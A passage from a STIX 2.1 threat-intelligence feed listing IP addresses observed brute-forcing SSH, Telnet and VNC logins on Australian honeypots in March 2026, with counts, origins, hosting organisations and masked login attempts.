      "valid_from": "2026-03-15T19:15:13.000Z",
      "valid_until": "2026-04-16T19:15:11.000Z"
    },
    {
      "created": "2026-03-15T19:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: AU. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--930d516c-ddb3-4e47-9c7e-9f75b1af9d38",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-15T19:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '170.64.236.60']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T19:15:13.000Z",
      "valid_until": "2026-04-16T19:15:11.000Z"
    },
    {
      "created": "2026-03-15T19:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 59. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BG. ASN(s): 48090. Organisation(s): Techoff Srv Limited. Usernames observed (masked): ***, n**e, s****a, s**v, u****u. Passwords observed (masked): ***, 1**4, n**e, ***, s****1.",
      "id": "indicator--602664ce-b1e4-420a-89e1-b6352467cebe",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-15T19:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '195.178.110.26']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T19:15:13.000Z",
      "valid_until": "2026-04-16T19:15:11.000Z"
    },
    {
      "created": "2026-03-15T19:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 19. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 17858. Organisation(s): LG POWERCOMM. Usernames observed (masked): r**t. Passwords observed (masked): c****s, d****n, u****u.",
      "id": "indicator--86ae3ff1-db60-4b8f-af39-3f9fd2222343",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-15T19:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '49.173.65.71']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T19:15:13.000Z",
      "valid_until": "2026-04-16T19:15:11.000Z"
    },
    {
      "created": "2026-03-15T20:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 36. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone. Usernames observed (masked): c*****7, c**t, d******r, g**d, m***d. Passwords observed (masked): 1**4, D*********3, Q**********4, c******!, m*******3.",
      "id": "indicator--27b9f2a4-4bbd-43fa-81b4-74ec7117e48f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-15T20:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '116.140.211.29']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T20:15:14.000Z",
      "valid_until": "2026-04-16T20:15:12.000Z"
    },
    {
      "created": "2026-03-15T20:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 171. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom. Usernames observed (masked): r**t, 3**********4, a*******r, ***, o********e. Passwords observed (masked): 3***********4, 3**********4, 1***5, A******., A******6.",
      "id": "indicator--a62daebb-ca65-416f-808a-1bee8679e8cf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-15T20:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '121.168.139.251']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T20:15:14.000Z",
      "valid_until": "2026-04-16T20:15:12.000Z"
    },
    {
      "created": "2026-03-15T20:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): h**p. Passwords observed (masked): 1******8.",
      "id": "indicator--886ab8a5-8c5d-40e2-b96d-fa4b5605f80a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-15T20:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '128.14.237.154']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T20:15:14.000Z",
      "valid_until": "2026-04-16T20:15:12.000Z"
    },
    {
      "created": "2026-03-15T20:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 107. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 31898. Organisation(s): Oracle Corporation. Usernames observed (masked): b*****h, 3**********4, a**y, d*****p, l***s. Passwords observed (masked): 3***********4, 3**********4, B*********!, D*********!, L******3.",
      "id": "indicator--f1776f64-e64c-485f-b134-f2050371344a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-15T20:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '130.162.132.75']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T20:15:14.000Z",
      "valid_until": "2026-04-16T20:15:12.000Z"
    },
    {
      "created": "2026-03-15T20:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: MX. ASN(s): 3484. Organisation(s): Instituto Politecnico Nacional.",
      "id": "indicator--d90931f5-1e61-47c3-a7ee-526e861b5e27",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-15T20:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '148.204.106.57']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T20:15:14.000Z",
      "valid_until": "2026-04-16T20:15:12.000Z"
    },
    {
      "created": "2026-03-15T20:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie, Fatt. Target ports: 22, 443. Source country: US. ASN(s): 26666. Organisation(s): Interserver, Inc.",
      "id": "indicator--0fc62b16-0286-4fb4-8fd7-368ae9fd12c2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-15T20:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '162.220.14.78']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T20:15:14.000Z",
      "valid_until": "2026-04-16T20:15:12.000Z"
    },
    {
      "created": "2026-03-15T20:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 202. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): 3**********4, c****n, p****a, a****s, f******n. Passwords observed (masked): ***, 1**4, 3***********4, 3**********4, 1******8.",
      "id": "indicator--163647ab-9101-47df-b418-f22af26d0f28",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-15T20:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '165.227.83.74']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T20:15:14.000Z",
      "valid_until": "2026-04-16T20:15:12.000Z"
    },
    {
      "created": "2026-03-15T20:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 263060. Organisation(s): Atilio Marcos Marcari e Cia Ltda Me.",
      "id": "indicator--38734ba6-0c04-486b-ac17-54d4c3f486f6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-15T20:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '186.232.87.83']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T20:15:14.000Z",
      "valid_until": "2026-04-16T20:15:12.000Z"
    },
    {
      "created": "2026-03-15T20:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--cf9f5b15-fb84-439a-ad3c-a7d93a9ae31a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-15T20:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '20.201.33.30']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T20:15:14.000Z",
      "valid_until": "2026-04-16T20:15:12.000Z"
    },
    {
      "created": "2026-03-15T20:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--74dec2d4-43ef-4811-90ae-2375a8bf9891",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-15T20:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '20.84.167.44']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T20:15:14.000Z",
      "valid_until": "2026-04-16T20:15:12.000Z"
    },
    {
      "created": "2026-03-15T20:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 22. Source country: AU. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--d8919386-af48-41d6-870d-4ddc18d687c8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-15T20:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '209.38.84.251']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T20:15:14.000Z",
      "valid_until": "2026-04-16T20:15:12.000Z"
    },
    {
      "created": "2026-03-15T20:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TZ. ASN(s): 33765. Organisation(s): TTCLDATA.",
      "id": "indicator--ee5b2527-d688-45db-b51b-eb3228dba780",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-15T20:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '41.59.30.238']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T20:15:14.000Z",
      "valid_until": "2026-04-16T20:15:12.000Z"
    },
    {
      "created": "2026-03-15T20:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TZ. ASN(s): 33765. Organisation(s): TTCLDATA.",
      "id": "indicator--4e84d375-0341-4b98-843e-c81df998d7ff",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-15T20:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '41.59.46.202']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T20:15:14.000Z",
      "valid_until": "2026-04-16T20:15:12.000Z"
    },
    {
      "created": "2026-03-15T20:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 101. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SC. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): a****d, 3**********4, a***n, a**y, **. Passwords observed (masked): 1****6, 1**4, 3***********4, 3**********4, I*********!.",
      "id": "indicator--df4920b1-462e-471c-98f0-75faa71c47b5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-15T20:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '45.195.221.26']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T20:15:14.000Z",
      "valid_until": "2026-04-16T20:15:12.000Z"
    },
    {
      "created": "2026-03-15T21:15:08.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 207. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 135951. Organisation(s): Webico Company Limited. Usernames observed (masked): 3**********4, c**i, r***2, a*******t, b**t. Passwords observed (masked): ***, 1****6, 1******8, 3***********4, 3**********4.",
      "id": "indicator--0562d30a-8954-4bda-9500-9568c85e79cf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-15T21:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.142.26.46']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T21:15:08.000Z",
      "valid_until": "2026-04-16T21:15:05.000Z"
    },
    {
      "created": "2026-03-15T21:15:08.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 135. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 131366. Organisation(s): Lanit Technology and Communication Joint Stock Company. Usernames observed (masked): r**t, 3**********4, D***d, a***t, b****e. Passwords observed (masked): p******d, 3***********4, 3**********4, C*********3, M*********3.",
      "id": "indicator--7404a6d4-0e23-444e-95c1-b8bec370e74b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-15T21:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.146.23.145']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T21:15:08.000Z",
      "valid_until": "2026-04-16T21:15:05.000Z"
    },
    {
      "created": "2026-03-15T21:15:08.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 83. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 136052. Organisation(s): PT Cloud Hosting Indonesia. Usernames observed (masked): q*****r, 3**********4, a*****e. Passwords observed (masked): 1***5, 3***********4, 3**********4, a********#.",
      "id": "indicator--3572e036-3b97-43b9-ad0a-8c1d1c1a6684",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-15T21:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.172.204.219']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T21:15:08.000Z",
      "valid_until": "2026-04-16T21:15:05.000Z"
    },
    {
      "created": "2026-03-15T21:15:08.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 136. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SC. ASN(s): 401696. Organisation(s): cognetcloud INC. Usernames observed (masked): r***2, 3**********4, a*******t, b**t, c****y. Passwords observed (masked): ***, 1****6, 1******8, 3***********4, 3**********4.",
      "id": "indicator--cc349f75-b8d4-4a2d-9965-a9d2c7b4514f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-15T21:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '156.238.246.148']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T21:15:08.000Z",
      "valid_until": "2026-04-16T21:15:05.000Z"
    },
    {
      "created": "2026-03-15T21:15:08.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: AU. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--6070cc22-3aa3-4728-a0f2-fe8ff07b093c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-15T21:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '170.64.174.210']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T21:15:08.000Z",
      "valid_until": "2026-04-16T21:15:05.000Z"
    },
    {
      "created": "2026-03-15T21:15:08.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: AU. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--2e866085-0e24-4b1a-8a75-d5cbc8d38af3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-15T21:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '170.64.231.82']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T21:15:08.000Z",
      "valid_until": "2026-04-16T21:15:05.000Z"
    },
    {
      "created": "2026-03-15T21:15:08.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 7552. Organisation(s): Viettel Group. Usernames observed (masked): q*****r, s****a, s*******t. Passwords observed (masked): 1**4, 1***5, s********s.",
      "id": "indicator--838aacb6-428e-4df5-8cb7-6e0d58633398",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-15T21:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '171.244.37.97']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T21:15:08.000Z",
      "valid_until": "2026-04-16T21:15:05.000Z"
    },
    {
      "created": "2026-03-15T21:15:08.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SE. ASN(s): 42237. Organisation(s): w1n ltd. Usernames observed (masked): *, **. Passwords observed (masked): *, **.",
      "id": "indicator--d505edb0-e1b2-41a6-a277-aaf4afc7ec74",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-15T21:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '185.246.128.171']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T21:15:08.000Z",
      "valid_until": "2026-04-16T21:15:05.000Z"
    },
    {
      "created": "2026-03-15T21:15:08.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: RU. ASN(s): 56694. Organisation(s): LLC Smart Ape.",
      "id": "indicator--c6948430-54c8-454b-b737-eca588b8a0e2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-15T21:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '185.9.146.100']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T21:15:08.000Z",
      "valid_until": "2026-04-16T21:15:05.000Z"
    },
    {
      "created": "2026-03-15T21:15:08.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 266176. Organisation(s): Lidercom Provedor de Internet Eireli.",
      "id": "indicator--5c7f1395-ea3e-4d0e-a669-378dd10a92d1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-15T21:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '190.196.244.170']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T21:15:08.000Z",
      "valid_until": "2026-04-16T21:15:05.000Z"
    },
    {
      "created": "2026-03-15T21:15:08.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 398722. Organisation(s): Censys, Inc..",
      "id": "indicator--272ce99d-a00c-4efb-b9ff-8e4dfa3aee3f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-15T21:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '199.45.154.136']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T21:15:08.000Z",
      "valid_until": "2026-04-16T21:15:05.000Z"
    },
    {
      "created": "2026-03-15T21:15:08.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TZ. ASN(s): 33765. Organisation(s): TTCLDATA.",
      "id": "indicator--5d9d1c40-ae4e-4cf5-b8cd-4c7ed2129fc1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-15T21:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '41.59.4.91']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T21:15:08.000Z",
      "valid_until": "2026-04-16T21:15:05.000Z"
    },
    {
      "created": "2026-03-15T21:15:08.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 150436. Organisation(s): Byteplus Pte. Ltd.. Usernames observed (masked): u***3. Passwords observed (masked): u***3.",
      "id": "indicator--80596938-a7ee-4070-b9b9-2e87cf9763b1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-15T21:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '69.5.0.120']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T21:15:08.000Z",
      "valid_until": "2026-04-16T21:15:05.000Z"
    },
    {
      "created": "2026-03-15T22:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 201. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 136052. Organisation(s): PT Cloud Hosting Indonesia. Usernames observed (masked): r**t, 3**********4, r***c, e*****o, f******a. Passwords observed (masked): 1****6, 3***********4, 3**********4, 1**4, 1******8.",
      "id": "indicator--8638599f-ce66-4f4d-814a-ab18015838a1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-15T22:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.171.85.124']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T22:15:15.000Z",
      "valid_until": "2026-04-16T22:15:12.000Z"
    },
    {
      "created": "2026-03-15T22:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 14. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 38365. Organisation(s): Beijing Baidu Netcom Science and Technology Co., Ltd.. Usernames observed (masked): r**t. Passwords observed (masked): -**************-, A******1.",
      "id": "indicator--fa3229d3-6d1d-4eb8-ad64-55b76b05adf7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-15T22:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '120.48.117.250']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T22:15:15.000Z",
      "valid_until": "2026-04-16T22:15:12.000Z"
    },
    {
      "created": "2026-03-15T22:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 115. Sensors involved: Heralding. Target ports: 5900. Source country: LT. ASN(s): 209605. Organisation(s): UAB Host Baltic. Passwords observed (masked): b******l, 1******4, 1******8, P******s, b****r.",
      "id": "indicator--3062b7e6-d198-46c6-9148-cd4565869938",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-15T22:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '141.98.11.236']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T22:15:15.000Z",
      "valid_until": "2026-04-16T22:15:12.000Z"
    },
    {
      "created": "2026-03-15T22:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 741. Sensors involved: Heralding. Target ports: 5900. Source country: LT. ASN(s): 209605. Organisation(s): UAB Host Baltic. Passwords observed (masked): d******r, m******1, n******r, w******r, 1******1.",
      "id": "indicator--7c833646-3700-4e24-a1b1-ef3c95ad8655",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-15T22:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '141.98.11.35']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T22:15:15.000Z",
      "valid_until": "2026-04-16T22:15:12.000Z"
    },
    {
      "created": "2026-03-15T22:15:15.000Z",
